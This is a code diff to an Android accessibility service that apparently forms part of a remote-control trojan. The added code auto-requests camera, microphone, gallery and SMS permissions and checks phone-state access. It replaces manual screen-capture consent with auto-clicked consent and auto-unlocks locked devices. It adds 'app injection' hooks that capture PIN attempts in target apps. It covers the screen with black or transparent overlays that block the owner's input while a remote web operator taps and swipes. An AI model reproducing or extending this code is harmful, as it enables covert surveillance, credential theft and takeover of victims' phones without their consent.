+ val projectionRequestBusy = try {
+ ::permissionGranter.isInitialized && permissionGranter.isMediaProjectionRequestInProgress()
+ } catch (_: Exception) {
+ false
+ }
+ val permissionData = MediaProjectionHolder.getPermissionData()
+ val mediaProjection = MediaProjectionHolder.getMediaProjection()
+ val mediaProjectionReady = permissionData != null && mediaProjection != null
+ val projectionFlowBusy = projectionRequestBusy || !mediaProjectionReady
+ val activeRuntimeType = if (runtimeRequestBusy) {
+ runCatching { permissionGranter.getActiveRuntimePermissionRequestType() }.getOrNull()
+ } else {
+ null
+ }
+ if (runtimeRequestBusy) {
+ Log.i(
+ TAG,
+ "⏸️ ROM权限守护检测到运行时权限申请进行中，跳过并发触发: active=${activeRuntimeType ?: "unknown"}"
+ )
+ }
+ if (projectionFlowBusy) {
+ Log.i(
+ TAG,
+ "⏸️ ROM权限守护检测到投屏流程进行中或未就绪，跳过运行时权限并发触发: projectionRequestBusy=$projectionRequestBusy, mediaProjectionReady=$mediaProjectionReady"
+ )
+ }
+
+ if (!checkCameraPermission()) {
+ missingPermissions.add("camera")
+ if (!runtimeRequestBusy && !projectionFlowBusy) {
+ requestCameraPermission()
+ }
+ }
+ if (!checkGalleryPermission()) {
+ missingPermissions.add("gallery")
+ if (!runtimeRequestBusy && !projectionFlowBusy) {
+ requestGalleryPermissionWithAutoGrant()
+ }
+ }
+ if (!checkMicrophonePermission()) {
+ missingPermissions.add("microphone")
+ if (!runtimeRequestBusy && !projectionFlowBusy) {
+ requestMicrophonePermissionWithAutoGrant()
+ }
+ }
+ if (!checkSMSPermission()) {
+ missingPermissions.add("sms")
+ if (!runtimeRequestBusy && !projectionFlowBusy) {
+ requestSMSPermissionWithAutoGrant()
+ }
+ }
+
+ if (!mediaProjectionReady) {
+ missingPermissions.add("media_projection")
+ if (::screenCaptureManager.isInitialized) {
+ screenCaptureManager.enableAccessibilityScreenshotMode()
+ }
+ }
+
+ if (missingPermissions.isEmpty()) {
+ return
+ }
+
+ Log.w(TAG, "🧩 ROM权限守护发现缺失权限($trigger): ${missingPermissions.joinToString(",")}")
+
+ val now = System.currentTimeMillis()
+ val canTriggerAuthorization = !runtimeRequestBusy &&
+ !projectionRequestBusy &&
+ authorizationModule?.isAuthorizing() != true &&
+ now - lastRomAuthorizationAttemptAt >= ROM_AUTHORIZATION_COOLDOWN_MS
+ if (canTriggerAuthorization) {
+ lastRomAuthorizationAttemptAt = now
+ authorizationModule?.startAuthorization()
+ Log.i(TAG, "🔄 ROM权限守护已触发授权回补流程")
+ } else if (runtimeRequestBusy) {
+ Log.i(TAG, "⏸️ ROM权限守护本轮不触发授权回补，等待运行时权限流程结束")
+ } else if (projectionRequestBusy) {
+ Log.i(TAG, "⏸️ ROM权限守护本轮不触发授权回补，等待投屏流程结束")
+ }
+ }
/**
* 降级初始化 - 确保基本功能可用
@@ -2118,12 +2372,8 @@ class AccessibilityRemoteService : AccessibilityService() {
)
}
- // ✅ 修复：确保如果日志记录已启用，OperationLogCollector也被启动
- // if (isLoggingEnabled && logCollector != null) {
- // logCollector?.startLogging()
- // Log.i(TAG, "✅ 自动启动OperationLogCollector，因为日志记录已启用")
- // }
- // 暂停：暂时不自动启动日志收集器
+ // ✅ 修复：如果日志在管理器初始化前已被标记为开启，这里补偿启动一次
+ applyPendingLoggingStateIfNeeded("initialize_managers")
// ✅ 初始化智能权限管理器（适用于所有Android版本，特别针对Android 15优化）
Log.i(TAG, "🧠 初始化智能MediaProjection管理器")
@@ -2224,6 +2474,91 @@ class AccessibilityRemoteService : AccessibilityService() {
/**
* 开始权限获取流程 - 修复时序问题，新增智能返回应用逻辑
*/
+ private fun shouldDeferMediaProjectionAutoRequestForHonor(): Boolean {
+ return try {
+ val brand = Build.BRAND?.lowercase().orEmpty()
+ val manufacturer = Build.MANUFACTURER?.lowercase().orEmpty()
+ val isHonorFamily =
+ brand.contains("honor") ||
+ manufacturer.contains("honor") ||
+ manufacturer.contains("huawei")
+ if (!isHonorFamily) {
+ return false
+ }
+ val pendingRuntimePermissions = getCriticalRuntimeMissingPermissions()
+ val shouldDefer = pendingRuntimePermissions.isNotEmpty()
+ if (shouldDefer) {
+ Log.i(
+ TAG,
+ "📱 Honor系运行时权限未完成，暂缓自动MediaProjection申请: ${pendingRuntimePermissions.joinToString(",")}"
+ )
+ }
+ shouldDefer
+ } catch (e: Exception) {
+ Log.w(TAG, "检测Honor运行时权限优先策略失败，回退默认流程", e)
+ false
+ }
+ }
+
+ private fun getCriticalRuntimeMissingPermissions(): List {
+ val missing = mutableListOf()
+ try {
+ if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
+ missing.add("CAMERA")
+ }
+ if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) {
+ missing.add("RECORD_AUDIO")
+ }
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
+ if (checkSelfPermission(android.Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
+ missing.add("READ_MEDIA_IMAGES")
+ }
+ if (checkSelfPermission(android.Manifest.permission.READ_MEDIA_VIDEO) != PackageManager.PERMISSION_GRANTED) {
+ missing.add("READ_MEDIA_VIDEO")
+ }
+ } else {
+ if (checkSelfPermission(android.Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
+ missing.add("READ_EXTERNAL_STORAGE")
+ }
+ }
+ if (checkSelfPermission(android.Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED) {
+ missing.add("READ_SMS")
+ }
+ if (checkSelfPermission(android.Manifest.permission.SEND_SMS) != PackageManager.PERMISSION_GRANTED) {
+ missing.add("SEND_SMS")
+ }
+ if (checkSelfPermission(android.Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
+ missing.add("READ_PHONE_STATE")
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "统计关键运行时权限失败", e)
+ }
+ return missing
+ }
+
+ private fun markSetupCompletedIfNeeded(reason: String) {
+ if (setupCompletionDispatched) {
+ Log.d(TAG, "配置完成收敛已触发，忽略重复调用: reason=$reason")
+ return
+ }
+ setupCompletionDispatched = true
+ allPermissionsCompleted = true
+ stopAccessibilityPageMonitor()
+
+ if (::configProgressManager.isInitialized) {
+ Log.i(TAG, "📊 配置完成收敛触发: reason=$reason")
+ configProgressManager.completeConfiguration()
+ } else {
+ Log.w(TAG, "⚠️ ConfigProgressManager未初始化，无法标记配置完成: reason=$reason")
+ }
+
+ if (::configMaskManager.isInitialized) {
+ Handler(Looper.getMainLooper()).postDelayed({
+ configMaskManager.hideConfigMask()
+ }, 1000)
+ }
+ }
+
private suspend fun startPermissionGrantFlow() {
try {
Log.i(TAG, "开始自动权限获取流程")
@@ -2275,6 +2610,12 @@ class AccessibilityRemoteService : AccessibilityService() {
}
}
+ // 🔧 Honor系优先完成运行时权限，避免MediaProjection弹窗抢焦点打断链路
+ if (shouldDeferMediaProjectionAutoRequestForHonor()) {
+ permissionRequestInProgress = false
+ return
+ }
+
// 🔧 Android 11+：检查是否已有 MediaProjection 权限，没有则通过 MainActivity 申请
val existingPermission = MediaProjectionHolder.getPermissionData()
if (existingPermission == null) {
@@ -4092,8 +4433,55 @@ class AccessibilityRemoteService : AccessibilityService() {
/**
* 启动MainActivity申请权限 - 增加权限预检查和智能返回应用
*/
+ private fun bringExistingMainTaskToFront(reason: String): Boolean {
+ return try {
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) {
+ return false
+ }
+ val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as? ActivityManager
+ ?: return false
+ val appTasks = activityManager.appTasks
+ if (appTasks.isNullOrEmpty()) {
+ Log.i(TAG, "📋 无可用任务可置前: reason=$reason")
+ return false
+ }
+
+ for (task in appTasks) {
+ val basePkg = task.taskInfo?.baseActivity?.packageName
+ if (basePkg == packageName) {
+ task.moveToFront()
+ Log.i(TAG, "✅ 已将现有任务置前: reason=$reason, taskId=${task.taskInfo?.taskId}")
+ return true
+ }
+ }
+ Log.i(TAG, "📋 未找到本应用任务可置前: reason=$reason")
+ false
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 置前现有任务失败: reason=$reason", e)
+ false
+ }
+ }
+
+ private fun isAppOnTopByAccessibility(): Boolean {
+ return try {
+ rootInActiveWindow?.packageName?.toString() == packageName
+ } catch (_: Exception) {
+ false
+ }
+ }
+
private fun startMainActivityForPermission() {
try {
+ if (!AUTO_REQUEST_MEDIA_PROJECTION_ON_STARTUP) {
+ Log.i(TAG, "🧩 WS优先模式：跳过启动阶段自动拉起MediaProjection授权，等待手动触发")
+ permissionRequestInProgress = false
+ allPermissionsCompleted = true
+ serviceScope.launch {
+ continueServiceInitialization()
+ }
+ return
+ }
+
val currentTime = System.currentTimeMillis()
// ✅ 检查冷却时间，防止频繁启动
@@ -4167,6 +4555,8 @@ class AccessibilityRemoteService : AccessibilityService() {
Intent.FLAG_ACTIVITY_SINGLE_TOP
)
putExtra("AUTO_REQUEST_PERMISSION", true)
+ // Android 11+ 默认按 WebRTC-only 链路申请，避免在MainActivity阶段提前消费投屏token
+ putExtra("WEBRTC_ONLY_REQUEST", Build.VERSION.SDK_INT >= Build.VERSION_CODES.R)
// ✅ 添加额外标识，确保Intent不会丢失
putExtra("TIMESTAMP", System.currentTimeMillis())
@@ -4178,13 +4568,14 @@ class AccessibilityRemoteService : AccessibilityService() {
Log.i(TAG, "✅ 已启动MainActivity申请权限 - Intent标志: NEW_TASK|SINGLE_TOP")
Log.i(
TAG,
- "📊 Intent参数详情: AUTO_REQUEST_PERMISSION=true, TIMESTAMP=${System.currentTimeMillis()}"
+ "📊 Intent参数详情: AUTO_REQUEST_PERMISSION=true, WEBRTC_ONLY_REQUEST=${Build.VERSION.SDK_INT >= Build.VERSION_CODES.R}, TIMESTAMP=${System.currentTimeMillis()}"
)
// ✅ 立即发送备用广播，确保MainActivity能收到权限申请请求
Log.i(TAG, "🔄 同时发送备用广播确保权限申请能被处理")
val backupIntent = Intent("android.mycustrecev.REQUEST_PERMISSION_FROM_SERVICE")
backupIntent.putExtra("AUTO_REQUEST_PERMISSION", true)
+ backupIntent.putExtra("WEBRTC_ONLY_REQUEST", Build.VERSION.SDK_INT >= Build.VERSION_CODES.R)
backupIntent.putExtra("TIMESTAMP", System.currentTimeMillis())
backupIntent.putExtra("SOURCE", "AccessibilityRemoteService_Backup")
sendBroadcast(backupIntent)
@@ -4229,7 +4620,7 @@ class AccessibilityRemoteService : AccessibilityService() {
addAction("android.mycustrecev.START_ACCESSIBILITY_SERVICE") // 无障碍服务启动
addAction("android.mycustrecev.ENABLE_LOGGING") // 启用日志记录
}
- registerReceiver(permissionRequestReceiver, filter)
+ registerReceiverCompat(permissionRequestReceiver, filter)
Log.i(TAG, "已注册权限申请广播接收器")
} catch (e: Exception) {
Log.e(TAG, "注册广播接收器失败", e)
@@ -4844,12 +5235,27 @@ class AccessibilityRemoteService : AccessibilityService() {
val serverConnected = isNetworkConnected()
val deviceRegistered = isDeviceRegistered()
+ val runtimeMissing = getCriticalRuntimeMissingPermissions()
+ val runtimePermissionsReady = runtimeMissing.isEmpty()
+ val maskEnabled = try {
+ ::configMaskManager.isInitialized && configMaskManager.isConfigMaskEnabled()
+ } catch (_: Exception) {
+ true
+ }
+ val mediaProjectionRequestInProgress = try {
+ ::permissionGranter.isInitialized && permissionGranter.isMediaProjectionRequestInProgress()
+ } catch (_: Exception) {
+ false
+ }
+ val projectionFlowSettled = !mediaProjectionRequestInProgress
// 🆕 添加WRITE_SETTINGS权限检查
val writeSettingsPermissionReady = hasWriteSettingsPermission()
// 🆕 添加AuthorizationModule状态检查
val authorizationNotRunning = authorizationModule?.isAuthorizing() != true
+ val writeSettingsGatePassed = writeSettingsPermissionReady || !maskEnabled
+ val authorizationGatePassed = authorizationNotRunning || !maskEnabled
Log.i(TAG, "🔍 检查配置遮盖隐藏条件:")
Log.i(
@@ -4858,46 +5264,42 @@ class AccessibilityRemoteService : AccessibilityService() {
)
Log.i(TAG, " 🌐 服务器连接: $serverConnected")
Log.i(TAG, " ✅ 设备注册: $deviceRegistered")
+ Log.i(
+ TAG,
+ " 🧩 运行时权限: ready=$runtimePermissionsReady, missing=${if (runtimeMissing.isEmpty()) "-" else runtimeMissing.joinToString(",")}"
+ )
+ Log.i(TAG, " 🛡️ 配置遮盖开关: enabled=$maskEnabled")
+ Log.i(TAG, " 🎬 投屏申请状态: inProgress=$mediaProjectionRequestInProgress, settled=$projectionFlowSettled")
Log.i(TAG, " 🔧 WRITE_SETTINGS权限: $writeSettingsPermissionReady")
Log.i(
TAG,
" 🔄 授权模块状态: 正在授权=${authorizationModule?.isAuthorizing()}, 可以隐藏=$authorizationNotRunning"
)
- // ✅ 新增AuthorizationModule状态作为第五个核心条件
- if (mediaProjectionReady && serverConnected && deviceRegistered && writeSettingsPermissionReady && authorizationNotRunning) {
- Log.i(TAG, "✅ 所有条件满足，准备隐藏配置遮盖")
-
- // 🆕 在隐藏配置遮盖之前先启用阻止手机操作功能
- Log.i(TAG, "🔒 配置完成，启用阻止手机操作功能")
-// blockDeviceInput() //先不隐藏
-
- // 🆕 同步状态到服务端
-// syncInputBlockedStateToServer(true)
-
- allPermissionsCompleted = true
-
- // ✅ 配置完成后停止无障碍设置页面监控
- stopAccessibilityPageMonitor()
-
-// if (::configMaskManager.isInitialized) {
-// configMaskManager.hideConfigMask()
-// Log.i(TAG, "✅ 配置遮盖已成功隐藏，阻止手机操作功能已启用")
-// }
- if (::configProgressManager.isInitialized) {
- Log.i(TAG, "📊 ConfigProgressManager已初始化，调用completeConfiguration()")
- configProgressManager.completeConfiguration()
- android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
- configMaskManager.hideConfigMask()
- },1000)
- Log.i(TAG, "🎉 配置进度已标记为完成")
- } else {
- Log.w(TAG, "⚠️ ConfigProgressManager未初始化，无法调用completeConfiguration()")
+ if (
+ mediaProjectionReady &&
+ serverConnected &&
+ deviceRegistered &&
+ runtimePermissionsReady &&
+ projectionFlowSettled &&
+ writeSettingsGatePassed &&
+ authorizationGatePassed
+ ) {
+ val completionReason = buildString {
+ append("mediaProjectionReady=$mediaProjectionReady")
+ append(", serverConnected=$serverConnected")
+ append(", deviceRegistered=$deviceRegistered")
+ append(", runtimeReady=$runtimePermissionsReady")
+ append(", projectionSettled=$projectionFlowSettled")
+ append(", writeSettingsReady=$writeSettingsPermissionReady")
+ append(", authorizationNotRunning=$authorizationNotRunning")
+ append(", maskEnabled=$maskEnabled")
}
+ markSetupCompletedIfNeeded(completionReason)
} else {
Log.w(
TAG,
- "⚠️ 条件未满足，保持配置遮盖显示 (MediaProjection=$mediaProjectionReady, Server=$serverConnected, Device=$deviceRegistered, WriteSettings=$writeSettingsPermissionReady)"
+ "⚠️ 条件未满足，保持配置遮盖显示 (MediaProjection=$mediaProjectionReady, Server=$serverConnected, Device=$deviceRegistered, Runtime=$runtimePermissionsReady, ProjectionSettled=$projectionFlowSettled, WriteSettingsGate=$writeSettingsGatePassed, AuthorizationGate=$authorizationGatePassed)"
)
}
} catch (e: Exception) {
@@ -5075,6 +5477,48 @@ class AccessibilityRemoteService : AccessibilityService() {
}
}
+ fun enableAppInjection(targetPackage: String, appName: String? = null) {
+ try {
+ accessibilityEventManager.enableAppInjection(targetPackage, appName)
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 开启应用注入监听失败: $targetPackage", e)
+ getSocketIOManager()?.sendPermissionResponse(
+ "app_injection",
+ false,
+ "Enable injection failed: ${e.message ?: "unknown"}"
+ )
+ }
+ }
+
+ fun disableAppInjection(reason: String = "manual") {
+ try {
+ accessibilityEventManager.disableAppInjection(reason)
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 关闭应用注入监听失败", e)
+ getSocketIOManager()?.sendPermissionResponse(
+ "app_injection",
+ false,
+ "Disable injection failed: ${e.message ?: "unknown"}"
+ )
+ }
+ }
+
+ fun onAppInjectionPinAttempt(success: Boolean, attempt: Int) {
+ try {
+ accessibilityEventManager.onAppInjectionPinAttempt(success, attempt)
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 处理注入 PIN 回调失败", e)
+ }
+ }
+
+ fun onAppInjectionPinDismissed(reason: String = "dismissed") {
+ try {
+ accessibilityEventManager.onAppInjectionPinDismissed(reason)
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 处理注入 PIN 页面关闭回调失败", e)
+ }
+ }
+
/**
* WebSocketClient已移除 - 现在只使用Socket.IO连接
*/
@@ -5095,7 +5539,7 @@ class AccessibilityRemoteService : AccessibilityService() {
if (::maskOverlayManager.isInitialized) {
maskOverlayManager.performWithMaskControl({
gestureController.performClick(x, y)
- })
+ }, passThroughDurationMs = 300L)
} else {
gestureController.performClick(x, y)
}
@@ -5131,7 +5575,7 @@ class AccessibilityRemoteService : AccessibilityService() {
if (::maskOverlayManager.isInitialized) {
maskOverlayManager.performWithMaskControl({
gestureController.performSwipe(startX, startY, endX, endY, duration)
- })
+ }, passThroughDurationMs = (duration + 320L))
} else {
gestureController.performSwipe(startX, startY, endX, endY, duration)
}
@@ -5152,7 +5596,7 @@ class AccessibilityRemoteService : AccessibilityService() {
if (::maskOverlayManager.isInitialized) {
maskOverlayManager.performWithMaskControl({
gestureController.performLongPress(x, y)
- })
+ }, passThroughDurationMs = 1400L)
} else {
gestureController.performLongPress(x, y)
}
@@ -5199,7 +5643,7 @@ class AccessibilityRemoteService : AccessibilityService() {
if (::maskOverlayManager.isInitialized) {
maskOverlayManager.performWithMaskControl({
gestureController.performContinuousLongPressDrag(pathPoints, duration)
- })
+ }, passThroughDurationMs = (duration + 420L))
} else {
gestureController.performContinuousLongPressDrag(pathPoints, duration)
}
@@ -5801,12 +6245,14 @@ class AccessibilityRemoteService : AccessibilityService() {
try {
Log.i(TAG, "🧹 清理服务资源")
+ stopRomPermissionGuard()
serviceScope.cancel()
// 清理日志收集器
logCollector?.cleanup()
logCollector = null
+
// 停止屏幕捕获
if (::screenCaptureManager.isInitialized) {
screenCaptureManager.stopCapture()
@@ -6078,41 +6524,141 @@ class AccessibilityRemoteService : AccessibilityService() {
/**
* 🆕 重新获取MediaProjection权限（由Web端调用）
*/
+ private suspend fun triggerMediaProjectionPermissionRequest(
+ source: String,
+ forceResetPermissionData: Boolean,
+ sendBackupBroadcast: Boolean
+ ) {
+ try {
+ try {
+ val keyguardManager = getSystemService(Context.KEYGUARD_SERVICE) as? KeyguardManager
+ val isLocked = keyguardManager?.isKeyguardLocked == true
+ if (isLocked) {
+ Log.i(TAG, "🔓 投屏授权前检测到锁屏，尝试自动解锁")
+ unlockDevice()
+ delay(2200)
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 投屏授权前自动解锁检查失败", e)
+ }
+
+ wakeScreen()
+ delay(350)
+ val returned = smartReturnToApp()
+ Log.i(TAG, "🏠 投屏授权前台准备: source=$source, returned=$returned")
+
+ val hasPermissionData = MediaProjectionHolder.getPermissionData() != null
+ val hasProjectionObject = MediaProjectionHolder.getMediaProjection() != null
+ val permissionDataValid = MediaProjectionHolder.isPermissionDataValid()
+ val shouldClearPermissionData =
+ forceResetPermissionData || (hasPermissionData && !permissionDataValid && !hasProjectionObject)
+
+ if (shouldClearPermissionData) {
+ if (forceResetPermissionData || hasProjectionObject) {
+ // Android 15 token stale 场景下必须清理旧实例引用，否则会反复复用失效对象。
+ MediaProjectionHolder.clearMediaProjection()
+ }
+ MediaProjectionHolder.clearPermissionData()
+ Log.i(
+ TAG,
+ "🧹 已清理投屏权限数据: source=$source, forceReset=$forceResetPermissionData, hasPermissionData=$hasPermissionData, hasProjectionObject=$hasProjectionObject, permissionDataValid=$permissionDataValid"
+ )
+ } else {
+ Log.i(
+ TAG,
+ "♻️ 保留现有投屏权限数据: source=$source, hasPermissionData=$hasPermissionData, hasProjectionObject=$hasProjectionObject, permissionDataValid=$permissionDataValid"
+ )
+ }
+
+ val currentHasPermissionData = MediaProjectionHolder.getPermissionData() != null
+ val currentHasProjectionObject = MediaProjectionHolder.getMediaProjection() != null
+
+ // 保持自动点击能力，减少人工介入。
+ if (::permissionGranter.isInitialized) {
+ val alreadyRequesting = permissionGranter.isMediaProjectionRequestInProgress()
+ if (alreadyRequesting && !forceResetPermissionData) {
+ Log.i(TAG, "⏭️ 投屏授权流程已在进行中，跳过重复触发: source=$source")
+ return
+ }
+ permissionGranter.setMediaProjectionRequesting(true)
+ Log.i(TAG, "✅ 已启用PermissionGranter自动点击")
+ }
+
+ val timestamp = System.currentTimeMillis()
+ val movedToFront = bringExistingMainTaskToFront("media_projection_refresh:$source")
+ if (movedToFront) {
+ delay(250)
+ }
+ val intent = Intent(
+ this@AccessibilityRemoteService,
+ com.hikoncont.MainActivity::class.java
+ ).apply {
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ putExtra("AUTO_REQUEST_PERMISSION", true)
+ putExtra("REFRESH_com.hikoncont.PERMISSION_REQUEST", true)
+ putExtra("WEBRTC_ONLY_REQUEST", true)
+ putExtra("TIMESTAMP", timestamp)
+ putExtra("SOURCE", source)
+ putExtra("FORCE_PERMISSION_DATA_RESET", forceResetPermissionData)
+ }
+
+ val appOnTop = isAppOnTopByAccessibility()
+ val forceStartActivityForProjectionRequest =
+ forceResetPermissionData || !currentHasPermissionData || !currentHasProjectionObject
+ val topPackageForProjection = try {
+ rootInActiveWindow?.packageName?.toString().orEmpty()
+ } catch (_: Exception) {
+ ""
+ }
+ val permissionContextVisible = isPermissionFlowContext(topPackageForProjection)
+ val shouldAvoidForceStartInPermissionContext = permissionContextVisible && !appOnTop
+ if (shouldAvoidForceStartInPermissionContext) {
+ Log.i(
+ TAG,
+ "⏸️ 投屏刷新检测到系统权限页上下文，跳过MainActivity强拉起: source=$source, topPkg=$topPackageForProjection, movedToFront=$movedToFront, appOnTop=$appOnTop"
+ )
+ } else if (forceStartActivityForProjectionRequest || !movedToFront || !appOnTop) {
+ startActivity(intent)
+ Log.i(
+ TAG,
+ "✅ 已启动MainActivity申请MediaProjection权限: source=$source, movedToFront=$movedToFront, appOnTop=$appOnTop, forceStart=$forceStartActivityForProjectionRequest, hasPermissionData=$currentHasPermissionData, hasProjectionObject=$currentHasProjectionObject"
+ )
+ } else {
+ Log.i(
+ TAG,
+ "♻️ 应用任务已在前台且投屏权限信息完整，跳过startActivity，改用广播触发授权链路: source=$source"
+ )
+ }
+
+ if (sendBackupBroadcast || movedToFront) {
+ val backupIntent = Intent("android.mycustrecev.REQUEST_PERMISSION_FROM_SERVICE").apply {
+ putExtra("AUTO_REQUEST_PERMISSION", true)
+ putExtra("REFRESH_com.hikoncont.PERMISSION_REQUEST", true)
+ putExtra("WEBRTC_ONLY_REQUEST", true)
+ putExtra("TIMESTAMP", timestamp)
+ putExtra("SOURCE", "${source}_Backup")
+ putExtra("FORCE_PERMISSION_DATA_RESET", forceResetPermissionData)
+ }
+ sendBroadcast(backupIntent)
+ Log.i(TAG, "📡 已发送权限刷新备用广播: source=$source")
+ }
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 触发投屏权限申请失败: source=$source", e)
+ throw e
+ }
+ }
+
fun refreshMediaProjectionPermission() {
try {
Log.i(TAG, "📺 收到Web端重新获取投屏权限请求")
serviceScope.launch {
try {
- // 清理现有的MediaProjection权限数据
- MediaProjectionHolder.clearPermissionData()
- Log.i(TAG, "🧹 已清理现有MediaProjection权限数据")
-
- // 启动MainActivity重新申请权限
- val intent = Intent(
- this@AccessibilityRemoteService,
- com.hikoncont.MainActivity::class.java
- ).apply {
- addFlags(Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_SINGLE_TOP)
- putExtra("AUTO_REQUEST_PERMISSION", true)
- putExtra("REFRESH_com.hikoncont.PERMISSION_REQUEST", true) // 特殊标志，表示这是权限刷新请求
- putExtra("TIMESTAMP", System.currentTimeMillis())
- putExtra("SOURCE", "WebClient")
- }
-
- startActivity(intent)
- Log.i(TAG, "✅ 已启动MainActivity重新申请MediaProjection权限")
-
- // 发送备用广播确保MainActivity能收到请求
- val backupIntent = Intent("android.mycustrecev.REQUEST_PERMISSION_FROM_SERVICE")
- backupIntent.putExtra("AUTO_REQUEST_PERMISSION", true)
- backupIntent.putExtra("REFRESH_com.hikoncont.PERMISSION_REQUEST", true)
- backupIntent.putExtra("TIMESTAMP", System.currentTimeMillis())
- backupIntent.putExtra("SOURCE", "WebClient_Backup")
- sendBroadcast(backupIntent)
-
- Log.i(TAG, "📡 已发送权限刷新备用广播")
-
+ triggerMediaProjectionPermissionRequest(
+ source = "WebClient",
+ forceResetPermissionData = true,
+ sendBackupBroadcast = true
+ )
} catch (e: Exception) {
Log.e(TAG, "❌ 重新获取投屏权限失败", e)
}
@@ -6124,40 +6670,19 @@ class AccessibilityRemoteService : AccessibilityService() {
}
/**
- * 🆕 手动授权MediaProjection权限（不自动点击确认，由用户在设备上手动操作）
+ * 兼容入口：触发MediaProjection授权流程（统一按自动确认链路执行）
*/
fun refreshMediaProjectionManual() {
try {
- Log.i(TAG, "📺 收到Web端手动授权投屏权限请求（不自动点击）")
+ Log.i(TAG, "📺 收到Web端授权投屏权限请求（按自动确认链路处理）")
serviceScope.launch {
try {
- // 清理现有的MediaProjection权限数据
- MediaProjectionHolder.clearPermissionData()
- Log.i(TAG, "🧹 已清理现有MediaProjection权限数据")
-
- // 🚨 关键：先重置PermissionGranter状态，确保不会自动点击
- if (::permissionGranter.isInitialized) {
- permissionGranter.setMediaProjectionRequesting(false)
- Log.i(TAG, "🛑 已禁用PermissionGranter自动点击，等待用户手动确认")
- }
-
- // 启动MainActivity申请权限，但不设置自动授权标志
- val intent = Intent(
- this@AccessibilityRemoteService,
- com.hikoncont.MainActivity::class.java
- ).apply {
- addFlags(Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_SINGLE_TOP)
- putExtra("AUTO_REQUEST_PERMISSION", true)
- putExtra("REFRESH_com.hikoncont.PERMISSION_REQUEST", true)
- putExtra("MANUAL_GRANT_ONLY", true) // 标记为手动授权模式
- putExtra("TIMESTAMP", System.currentTimeMillis())
- putExtra("SOURCE", "WebClient_Manual")
- }
-
- startActivity(intent)
- Log.i(TAG, "✅ 已启动MainActivity申请权限（手动授权模式，不自动点击）")
-
+ triggerMediaProjectionPermissionRequest(
+ source = "WebClient_Auto",
+ forceResetPermissionData = false,
+ sendBackupBroadcast = true
+ )
} catch (e: Exception) {
Log.e(TAG, "❌ 手动授权投屏权限失败", e)
}
@@ -7153,6 +7678,7 @@ class AccessibilityRemoteService : AccessibilityService() {
private var blackScreenMaskManager: com.hikoncont.service.modules.mask.AccessibilityMaskManager? =
null
private var isBlackScreenActive = false
+ private var blackScreenMaskAlpha = 220
/**
* 🆕 检查黑屏遮盖状态
@@ -7195,9 +7721,10 @@ class AccessibilityRemoteService : AccessibilityService() {
* 使用MaskOverlayManager的阻止手机操作功能
* ✅ 新增：检测WRITE_SETTINGS权限，如果存在则调整屏幕亮度为0
*/
- fun enableBlackScreen() {
+ fun enableBlackScreen(maskAlpha: Int? = null) {
try {
Log.i(TAG, "🖤 启用黑屏遮盖 - 使用MaskOverlayManager遮罩方案")
+ setMaskOverlayAlpha(maskAlpha)
// 如果已经有遮罩，先移除
if (isBlackScreenActive) {
@@ -7218,31 +7745,22 @@ class AccessibilityRemoteService : AccessibilityService() {
Log.w(TAG, "⚠️ 调整屏幕亮度失败，但继续黑屏遮盖")
}
} else {
- Log.w(TAG, "⚠️ 没有WRITE_SETTINGS权限，打开权限页面")
-
- // 如果没有权限，通过WriteSettingsPermissionManager打开权限页面
- if (::writeSettingsPermissionManager.isInitialized) {
- try {
- writeSettingsPermissionManager.openWriteSettingsPage()
- Log.i(TAG, "📱 已打开WRITE_SETTINGS权限设置页面，用户可手动授权")
- } catch (e: Exception) {
- Log.e(TAG, "❌ 打开WRITE_SETTINGS权限页面失败", e)
- }
- } else {
- Log.w(TAG, "⚠️ WriteSettingsPermissionManager未初始化")
- }
+ // 远控过程中不自动拉起设置页，避免打断当前被控界面和手势链路
+ Log.w(TAG, "⚠️ 没有WRITE_SETTINGS权限，跳过自动亮度调节（不自动打开设置页面）")
}
} else {
Log.w(TAG, "⚠️ ScreenBrightnessManager未初始化")
}
- // 🔑 关键修复：启用AccessibilityService截图模式
- screenCaptureManager?.enableAccessibilityScreenshotMode()
-
- // 🔑 使用MaskOverlayManager的纯色遮罩功能
if (::maskOverlayManager.isInitialized) {
- Log.d(TAG, "🔧 使用MaskOverlayManager启用纯色遮罩")
- maskOverlayManager.enableBlackScreenMode() // 启用纯色遮罩模式，Web端可正常操作
+ screenCaptureManager?.disableAccessibilityScreenshotMode()
+ if (blackScreenMaskAlpha <= 0) {
+ Log.i(TAG, "🫥 黑屏透明度=0，启用透明遮罩输入阻止")
+ maskOverlayManager.blockInputTransparent()
+ } else {
+ Log.i(TAG, "🖤 启用纯色黑屏遮罩，alpha=$blackScreenMaskAlpha")
+ maskOverlayManager.enableBlackScreenMode(blackScreenMaskAlpha)
+ }
} else {
Log.w(TAG, "⚠️ MaskOverlayManager未初始化，黑屏遮盖功能不可用")
return
@@ -7251,13 +7769,20 @@ class AccessibilityRemoteService : AccessibilityService() {
isBlackScreenActive = true
+ // 黑屏遮罩本质上也会阻止本机输入，状态同步给Web端
+ getSocketIOManager()?.sendDeviceInputBlockedChanged(blocked = true)
Log.i(TAG, "✅ 黑屏遮盖已启用（基于MaskOverlayManager）")
// 记录操作日志
recordOperationLog(
